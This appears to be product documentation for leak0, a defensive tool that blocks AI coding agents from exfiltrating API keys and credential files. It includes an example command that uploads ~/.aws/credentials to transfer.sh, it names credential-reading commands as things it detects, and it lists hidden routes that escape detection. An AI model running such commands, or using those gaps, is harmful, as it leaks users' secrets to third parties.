Talk this topic through with an AI

You get an answer from the documentation and the page it comes from.

leak0

leak0: Protection against credential exfiltration

leak0 stops your AI agents from passing secrets such as API keys, tokens or credential files to the outside (exfiltration). It checks your input, the tool calls of the agents and their output, right on your device. It blocks only what leak0 can prove.

~10 min read · leak0

Terms

TermMeaning
HookAn entry point the agent offers: before or after a step, the agent calls leak0 and waits for the answer. leak0 works through these hooks only.
Tool callAn action of the agent, such as a shell command, a file access, a web request or an MCP call.
Blockleak0 stops the tool call before it runs. Only with proof.
AskThe agent pauses and asks you whether the call should run.
NoteThe call runs, and leak0 returns a text message about the hit to the agent.
Redactleak0 replaces a secret value in a tool output with a placeholder before the model sees it.
Short hashA short fingerprint of a value. It marks a hit in the message and the audit without revealing the value.
PlaceholderA recognisable sample value instead of a real secret, for example your-api-key-here, <token> or ${API_KEY}.
PoisonZero dialogA PoisonZero window in the foreground of your desktop. It asks whether a commit with a secret file may run when the agent cannot ask you itself. Block is preselected.
System sign-inYour operating system's sign-in window, for example with Touch ID, a PIN or your password. It appears only when you choose Allow. An agent cannot give this sign-in itself.

Scope of inspection

leak0 checks four routes by which a secret can leave your device or end up in the wrong place.

RouteExamplesWhen checked
1 Commit and publishgit add, git push, npm publish and othersBefore the call (shell hook)
2 Network and third-party toolscurl, scp, web requests, MCP callsBefore the call (shell, web and MCP hooks)
3 Secret into the modelcat ~/.aws/credentials, env, a token in your inputBefore the call (input and read hooks) and in the output afterwards (output hook)
4 Secret into the wrong fileA token hard-coded in code, a CI file, a README or a memory fileBefore the write (write hook)
Abuse without a leak, such as deleting a credential file, is checked by exec0.

When leak0 blocks

A block needs one of five proofs, B1 to B5. Without proof, leak0 does not block; it asks, redacts or adds a note instead.

ProofWhen it holdsExample
B1 Known credential fileThe call touches a known credential file, and its content confirms the type. leak0 follows symlinks and normalizes Windows paths for this.~/.aws/credentials, a service account JSON, a private SSH key
B2 Token with checksumThe token has a known prefix and a valid checksum. This applies only to token families that carry a checksum.GitHub ghp_…, npm_…, GitLab glpat-… and others
B3 Known secret valueA value that leak0 already recognized as a secret in the same session appears verbatim in an outgoing call.The content of ~/.aws/credentials in the body of a curl call
B4 Secret to a third partyThe secret is in the data sent (body, upload, gist, DNS name), and the destination is provably not yours: a paste, file-drop, request-collector or tunnel service, a public IP address, or a public publication.curl -F f=@~/.aws/credentials https://transfer.sh
B5 Switching leak0 offThe agent tries to switch leak0 off, or removes or changes the PoisonZero entries in its hook settings.poisonzero leak0 off, run by the agent

What a message contains

With every block and every question, the agent receives a message. It never names the secret value. It contains:

  • leak0 as the sender and the proof (B1 to B5)
  • the rule class with the prefix leak0:, for example leak0:checksum_token_commit
  • the kind of proof: resolved path, structure, checksum or hash match
  • the short hash of the value
  • how to switch leak0 off

When leak0 does not block

leak0 blocks only when a leak is proven. In these cases the proof is missing, so there is never a block.

SituationWhat leak0 does
A token goes to its own sign-in point, for example in the Authorization header or as user:token@hostNo block; depending on the case, a question or a note
A copy to your own servers (scp, rsync), S3-compatible storage, self-hosted GitLab or VaultNo block; for a credential file, a question
.env files, shell startup files such as ~/.zshrc, PEM files inside a repositoryNo block; a question, redaction or a note
A secret file with real values in a test folder, for example tests/.env or fixtures/credentialsA question instead of a block
Placeholders and sample values in test folders and templates, for example .env.exampleRuns without intervention
A token with a checksum in a docs folder, for example docs/ or examples/A question instead of a block

Test folders are folders in the repository with exactly one of these names: test, tests, testdata, fixtures, fixture, __tests__, __fixtures__, __mocks__. Test files such as *_test.*, *.spec.* and *.test.* count as well, and so do templates ending in .example, .sample or .template.

What counts is the path from the repository root. The folder that holds the repository does not count: leak0 checks a project under ~/TestApp like any other.

Docs folders (docs, doc, examples, example, samples, sample, spec) relax token hits only. leak0 checks secret files there as it does everywhere: docs/.env with real values leads to a question, a real credential file to a block.

New secret files in Git

When a Git command takes in a new secret file, such as a .env, a credential file or a key file, leak0 checks its content. The message names the file, never the value.

SituationWhat leak0 does
git add . or git add -A stages a secret file with real valuesA question naming the file
git commit -a or git commit with paths includes such a fileA question naming the file
git push, also with --tags or as the first push, sends such a fileA question naming the file
The file is a proven credential file (B1), for example an AWS credentials fileBlock
.env.example or a file with placeholders onlyRuns without intervention
The check does not finish in the time availableA question where the agent asks itself, otherwise a block asking to retry. The call never goes through unchecked.

Who asks depends on the agent:

AgentQuestion about a secret file in Git
Claude Code, Cursor and Antigravity CLIThe agent's own confirmation dialog
Codex and Gemini CLIThe PoisonZero dialog, Allow with system sign-in

Approval in the PoisonZero dialog

Codex and Gemini CLI cannot ask you from the hook themselves. For a secret file in Git, PoisonZero therefore asks, in two steps. Both windows are titled “poison0 agent: leak0 safeguard”.

StepWhat happens
1. PoisonZero dialogAppears in the foreground and names the product, agent, file and reason, never the value. Block is preselected: one click, no password.
2. System sign-inOnly if you choose Allow does your operating system's sign-in window appear right away in the foreground. You sign in with your own account.
SituationEffect
You choose Allow and sign inThe call runs, once
You choose BlockBlock. The agent gets the text that you rejected the call and is asked to check with you.
You cancel the sign-in, or the password is wrongBlock
No answer within 90 secondsBlock
The agent retries after a rejection or no answerNo new dialog for the same file for 60 seconds. Block with a clear text to the agent.
More than three dialogs in one minuteBlock without a dialog. The agent is told there were too many requests.
No desktop: SSH session, CI, nobody signed in, or the PoisonZero service cannot be reachedBlock. The message names poisonzero leak0 allow <file> for your own terminal.

Why a system sign-in? An agent can trigger a click on Allow itself, for example through UI automation. It cannot give your operating system's sign-in. A click alone therefore lets nothing through.

Operating systemSign-in window
macOSThe macOS system window with Touch ID or password
WindowsThe “Windows Security” window with the PoisonZero text. If a PIN or fingerprint is set up, Windows offers it there.
LinuxThe polkit system authentication. PoisonZero never sees the password.

Only the sign-in of the account the agent runs under counts; you do not need administrator rights. Claude Code keeps asking in its own confirmation dialog.

Approval in your own terminal

Without a desktop, for example over SSH, leak0 blocks and names the command poisonzero leak0 allow <file>. Run it in your own terminal, not through the agent. Then let the agent repeat the commit or push.

CommandEffect
poisonzero leak0 allow <file>Approves exactly the current content of the file: for any number of commits within 10 minutes and for one push, the first that carries the file. Several files are possible.
  • Confirmation: your own password, in your own terminal. You do not need administrator rights. On macOS and Linux, sudo works as well.
  • This content only: if the file changes afterwards, the approval no longer applies.
  • Failed attempts: 3 seconds between two attempts. After 5 failed attempts, approval is locked for 15 minutes.
  • Service: the PoisonZero service checks the sign-in, issues the approval and stores it. It must be running.
  • Not through the agent: if the agent runs the command itself, leak0 blocks it (B5).
  • The message to the agent names the command after a rejection in the dialog too.

User approval in the profile

In Cloud profiles the admin decides whether people at the device may approve commits with secret files themselves. Console: leak0 section, switch Users may approve commits with secret files themselves. Default: on.

SwitchWhat leak0 does
OnA question in the agent's dialog or in the PoisonZero dialog. Approval with poisonzero leak0 allow is possible.
OffBlock for every agent, Claude Code included. The message asks the person to contact their admin. poisonzero leak0 allow refuses the approval, and existing approvals do not count.

Private devices do not have this switch. There approval is always possible.

Desktop notification on a block

When leak0 blocks a call, PoisonZero can show a desktop notification: agent, tool and what was blocked, for example “Token in a commit”. It never contains a secret value, a path or a command.

ItemBehaviour
Turning it onConsole: profile, setting Notice when a threat is blocked. Private devices: sudo poisonzero notify on; the local setting takes precedence over the profile. Default: off.
WhenOn a block. Questions, redactions and notes do not trigger a notification.
For whomFor the person signed in at the desktop whose agent was blocked
FrequencyThe same block at most once per minute, at least 5 seconds between two notifications

Supported agents

leak0 supports five agents. What it does per agent depends on the hooks the agent offers.

AgentOperating systems
Claude CodemacOS, Linux and Windows
Codex (CLI and IDE)macOS, Linux and Windows
CursormacOS and Linux
Gemini CLImacOS, Linux and Windows
Antigravity CLImacOS, Linux and Windows
AgentBlockAskRedact secrets in tool outputCheck your input
Claude Codeyesyes, dialogyes, value onlyyes
Codex (CLI and IDE)yesPoisonZero dialog for secret files in Git, otherwise a noteyes, value onlyyes
Cursoryesdialog for shell and MCP callsfor MCP outputyes
Gemini CLIyesPoisonZero dialog for secret files in Git, otherwise a noteyes, value onlyyes
Antigravity CLIyesyes, dialognot availablenot available

What the columns mean

  • Block: leak0 stops the tool call before it runs when one of the proofs B1 to B5 holds. This applies to all five agents.
  • Ask: When a secret is likely but not proven, for example with git add .env, you are asked before the call runs. Claude Code and Antigravity CLI show their confirmation dialog, Cursor does so for shell and MCP calls. Codex and Gemini CLI: the PoisonZero dialog for secret files in Git, see Approval in the PoisonZero dialog.
  • Note (Ask column): for other questions, Codex and Gemini CLI offer no dialog from the hook. There the call runs, and leak0 returns a text message to the agent that names the hit.
  • Redact secrets in tool output: When a secret appears in the output of a tool, for example with cat .env, leak0 replaces only the value before the model sees it: OPENAI_API_KEY=[leak0:openai:a1b2]. Where the value cannot be found on its own, leak0 withholds the whole output. Cursor: for MCP output. Antigravity CLI: not available, because the agent offers only a hook before the tool call. Shell and file output in Cursor: a note to the agent, recorded in the audit as leak0_warned.
  • Check your input: leak0 checks your own input, for example a pasted token, before it goes to the model. Antigravity CLI: not available. Cursor CLI in print mode (-p) does not call the input hook.

When a tool output is too large to check in the time available, leak0 withholds it in On mode. The agent gets a note to narrow the command, for example with head or grep.

Hits that justify neither a block nor a question get a note from leak0: always with Codex, Cursor and Gemini CLI, and with Claude Code while exec0 is off. Antigravity CLI has no field for notes; there the call runs without a message.

Redaction changes what the model and third-party hosts see. Agent transcripts and telemetry can still hold the value in plain text.

Remarks

  • Codex: the built-in web search runs at the provider without a hook and is not checked.
  • Cloud runs such as Codex Cloud or the Copilot cloud agent do not run on your device; leak0 does not see them.
  • poisonzero leak0 status lists every agent on the device as protected, partly protected or not protected.

Agents leak0 does not support (yet)

AgentReason
GitHub Copilot CLI, VS Code agent, Windsurf, Cline (macOS and Linux), Kiro, Goose, Augment (Auggie), Junie CLI, Factory Droid, Amp, OpenCode, Cortex Code CLI, Qwen Code, Kilo Code, Crush, OpenHands, Open Interpreter, gptme, Kimi Code CLI, Mistral Vibe, Pi, Grok CLI, Tabnine CLIHooks exist, not supported in this version
Xcode coding assistant (Claude Code, Codex and Gemini CLI inside Xcode)Reads its own configuration from ~/Library/Developer/Xcode/CodingAssistant/; not protected in this version
AiderNo hook system; auto-commits run with --no-verify by default
ZedOnly static rules per tool, no executable hook
Cline on WindowsNo hooks on Windows
Cursor on WindowsSupported on macOS and Linux in this version
Amazon Q Developer CLIProduct discontinued
Warp, Roo Code, Continue (IDE extension), Trae, Void, Plandex, Qodo, GitHub Copilot in Visual Studio, JetBrains, Xcode and Eclipse, JetBrains AI Assistant, Gemini Code Assist, Android Studio Gemini, Databricks Assistant, Snowflake VS Code extension, Sourcegraph Cody, Letta Code, Tabby, Raycast AI, Google Jules CLI, Pieces, Flowise, Dify, LibreChatNo usable hook known

Out of scope

leak0 does not cover these cases, or covers them only in part. The right column names what applies instead.

Not coveredWhyInstead
Memory poisoning, also when the poisoned instruction says to send secrets outA protection of its ownpoison0, see What the poison0 agent does
Abuse without a leak: overwriting or deleting a credential file, loosening permissions, creating tokens with too wide a scopeNo secret leaves the machineexec0
Prompt injection in content the agent readsA different riskinject0
Hidden paths, for example through wildcards, variables, $(...) or subprocessesThe path is not provably in the commandNo block; the output is redacted where the agent allows it
Encoded or split output, for example as hex or in piecesA checksum matches only the whole valueThe whole output is withheld when a credential file feeds a transforming command
Scripts, Makefiles, git hooks or CI started laterWriting and starting are separate callsBlock only when the written script sends a credential file to a provably third-party destination in the same pipeline; otherwise a note
Secrets without a known format, for example passwordsNot provableRedaction by field name inside known credential files; never a block
Revoked or test tokens with a valid checksumOffline indistinguishable from real tokensUnder test, fixture and docs paths a question instead of a block
Online check whether a token is still validleak0 checks offline onlyNot part of leak0
Routes without a hook: Codex web search, ! commands in Claude Code, telemetry, input typed in a terminal next to the agentNo hook sees themNot covered
Plain text on disk: agent transcripts and telemetryleak0 changes what the model and third-party hosts see, not what the agent storesNot covered
A sandbox or launcher of its own for agentsleak0 works through the agent hooks onlyNot part of leak0
leak0 covers the known direct routes and blocks only with proof. It does not fully detect hidden routes.

Operating modes

ModeIn the consoleEffect
enforceOnBlocks on proof, asks, redacts and adds notes.
observeObserveLogs every hit with its proof. Never blocks, asks or redacts.
offOffNo checks. When exec0 is off as well, the hook ends at once.

leak0 is never on silently. It is on only after a decision: in the installer, with PZ_SETUP_LEAK0, with sudo poisonzero leak0 enforce or in the console profile. Without any of these the mode is off.

  • Order: local setting, then profile, then off. On Cloud devices the local setting does not count.
  • leak0 is independent of exec0: leak0 on with exec0 off is a valid setting. Both run in the same hook entry; leak0 checks first.
  • leak0 is part of Solo Dev, Pro and Enterprise.

Configuration in Cloud mode

  1. In the console open Settings → Profiles.
  2. Enterprise: click Edit on the profile. Solo Dev and Pro: the profile is shown directly in this section.
  3. In the leak0 area choose On, Observe or Off. Existing profiles start at Off; a new profile has On preselected.
  4. Optionally add your own secret files and exclusions in the two lists and decide whether users may approve commits with secret files themselves.
  5. Save. Cloud devices take the setting on their next sync with the console and add missing hook entries; Codex users confirm new hooks in Codex with /hooks.
Profile fieldValuesLimit
leak0.modeenforce, observe, offoff until set
leak0.secretFilesList of { path, keys }: path is a glob, ~ and %USERPROFILE% are allowed; keys optionally names the fields that hold the secretat most 200 entries
leak0.exclusionsList of globs that leak0 does not treat as a secret sourceat most 200 entries
leak0.userMayApprovetrue, false: people at the device may approve commits with secret filestrue until set

On Cloud devices the poisonzero leak0 commands that change something are refused, except clear; the console setting applies. On private profiles the console shows a note that the setting applies to Cloud devices only.

Configuration in private mode

Private devices are not steered from the console. Everything is set with the CLI on the device.

CommandEffect
poisonzero leak0 statusShows mode, source (local, profile, default), how many secret files and exclusions your lists hold (poisonzero leak0 file list and exclude list show them) and the protection per agent. When leak0 is off, it names the command to switch it on.
poisonzero leak0 allow <file>Approves a secret file with its current content for commits (10 minutes) and one push, with your system sign-in; see Approval in your own terminal
sudo poisonzero leak0 enforceSwitches leak0 on
sudo poisonzero leak0 observeObserve only
sudo poisonzero leak0 offSwitches leak0 off
sudo poisonzero leak0 clearRemoves the local setting; the profile or off applies again
sudo poisonzero leak0 file add <glob> --keys k1,k2Adds a secret file of your own; --keys is optional
sudo poisonzero leak0 file remove <glob>Removes it
poisonzero leak0 file listLists your secret files
sudo poisonzero leak0 exclude add <glob>Adds an exclusion
sudo poisonzero leak0 exclude remove <glob>Removes it
poisonzero leak0 exclude listLists the exclusions
On Windows, run the commands without sudo in a terminal opened as administrator.

The settings are stored in the data directory: /var/lib/poisonzero (Linux), /Library/Application Support/PoisonZero (macOS), <ProgramData>\PoisonZero (Windows), see Installing the poison0 agent.

FileContentWritten by
leak0modeLocal switch: enforce, observe or offpoisonzero leak0 enforce, observe, off
leak0.local.jsonYour lists: {"secretFiles": [...], "exclusions": [...]}poisonzero leak0 file and exclude
leak0.profileCopy of the leak0 setting from the console profileThe poison0 agent, Cloud devices only

Installation

In a terminal, the installer asks whether to switch leak0 on: On, Observe or Off, with On preselected. This also applies to the one-line install with curl -fsSL https://poisonzero.com/install.sh | sudo sh.

Unattended installs (MDM, fleet tools, scripts) read PZ_SETUP_LEAK0; without it, leak0 stays off. On Cloud devices the console profile decides.

VariableValuesWithout the variable
PZ_SETUP_LEAK0enforce, observe, offInteractive: the question above. Unattended: off
bashInstall with leak0 on
curl -fsSL https://poisonzero.com/install.sh | sudo PZ_SETUP_LEAK0=enforce sh
powershellInstall with leak0 on
$env:PZ_SETUP_LEAK0='enforce'
irm https://poisonzero.com/install.ps1 | iex

Hook entries

SituationWhat happens
Installing the poison0 agentThe installer adds the PoisonZero hook entries to every supported agent it finds: on macOS and Linux to Claude Code, Codex, Cursor, Gemini CLI and Antigravity CLI, on Windows to Claude Code, Codex, Gemini CLI and Antigravity CLI. Codex asks you once to trust the new hook: confirm it in Codex with /hooks.
Switching leak0 or exec0 offThe hook entries stay. Each product is switched on or off at runtime, independently of the other.
Uninstalling the poison0 agentOnly this removes the hook entries.
An admin switches leak0 on in a Cloud profileThe device adds missing hook entries at its next configuration fetch. Codex asks you to trust new hooks: confirm them in Codex with /hooks. poisonzero leak0 status shows when a confirmation is pending.
Claude Code: the hook does not run (binary missing, crash, timeout)If leak0 or exec0 runs in enforce mode (leak0: On, exec0: Protection), Claude Code blocks the tool call. If both are in Observe or Off, Claude Code continues the call.
Codex, Cursor, Gemini CLI, Antigravity CLI: the hook does not runThe agent continues the call (fail-open). For Cursor, failClosed is not enabled.

Existing devices: an update does not switch leak0 on. It stays off until you run sudo poisonzero leak0 enforce or set it in the console profile.

Audit

Every leak0 decision is written as an audit event.

ActionMeaningLocal auditConsole audit (Cloud mode)
leak0_blockedCall blocked with proofyesyes
leak0_askedConfirmation requested. For Codex and Gemini CLI with the result of the PoisonZero dialog: allowed, rejected, no answer or no dialog possibleyesyes
leak0_redactedValue redacted in a tool outputyesyes
leak0_warnedWarned: the agent does not allow the intervention, for example redacting shell or file output in Cursor. leak0 returns a note to the agent.yesyes
leak0_observedHit in observe mode, no interventionyesOnly if “Also in the console (cloud audit)” is turned on in the profile; default: off
leak0_grantedFile approved with poisonzero leak0 allow after your system sign-in. With the user, the number of files and a short hash per fileyesyes
leak0_grant_failedApproval failed: sign-in wrong or cancelledyesyes
leak0_grant_lockedApproval refused without a sign-in because too many sign-ins failedyesyes

Fields per event: agent, tool, rule class, mode and a short hash. Never included: the secret value, the path or the command. In the console the events carry their own labels; leak0_blocked and leak0_redacted count as incidents. leak0_warned does not count as an incident. A retry within 60 seconds after a rejection and an attempt over the dialog limit are each recorded as their own leak0_blocked entry. If the approval for exactly this content was already used by a push, the entry says so. leak0_granted and leak0_grant_locked count as incidents.

Privacy

DataCloud modePrivate mode
Content of prompts, commands, files and outputChecked on the device, not sent for the checkChecked on the device
Secret valuesNever in the audit or the journalNever in the audit or the journal
Session state (paths of copies, short hashes of recognized values)On the device, one file per session, readable only by your user account, deleted when the session ends where the agent reports the end (Claude Code), otherwise after 24 hoursSame
Audit entry (time, action, tool, rule class, short hash), without contentOn the device and in the console auditOn the device only

Never in the audit: values, paths, commands, arguments or your prompt. Full list: What Cloud mode sends.

Comparison with exec0 and memory protection

Memory protectionexec0leak0
ChecksChanges to agent memory and instruction filesEvery tool call, for harmPrompts, tool calls and output, for secrets leaving
Decides withMelira AI and rulesFixed rules and Melira AIFixed rules with proof, no model
RunsOn your deviceOn your deviceOn your device

Harmful tool calls: exec0. What poison0 protects: What the poison0 agent does. Choosing a mode: Cloud or private.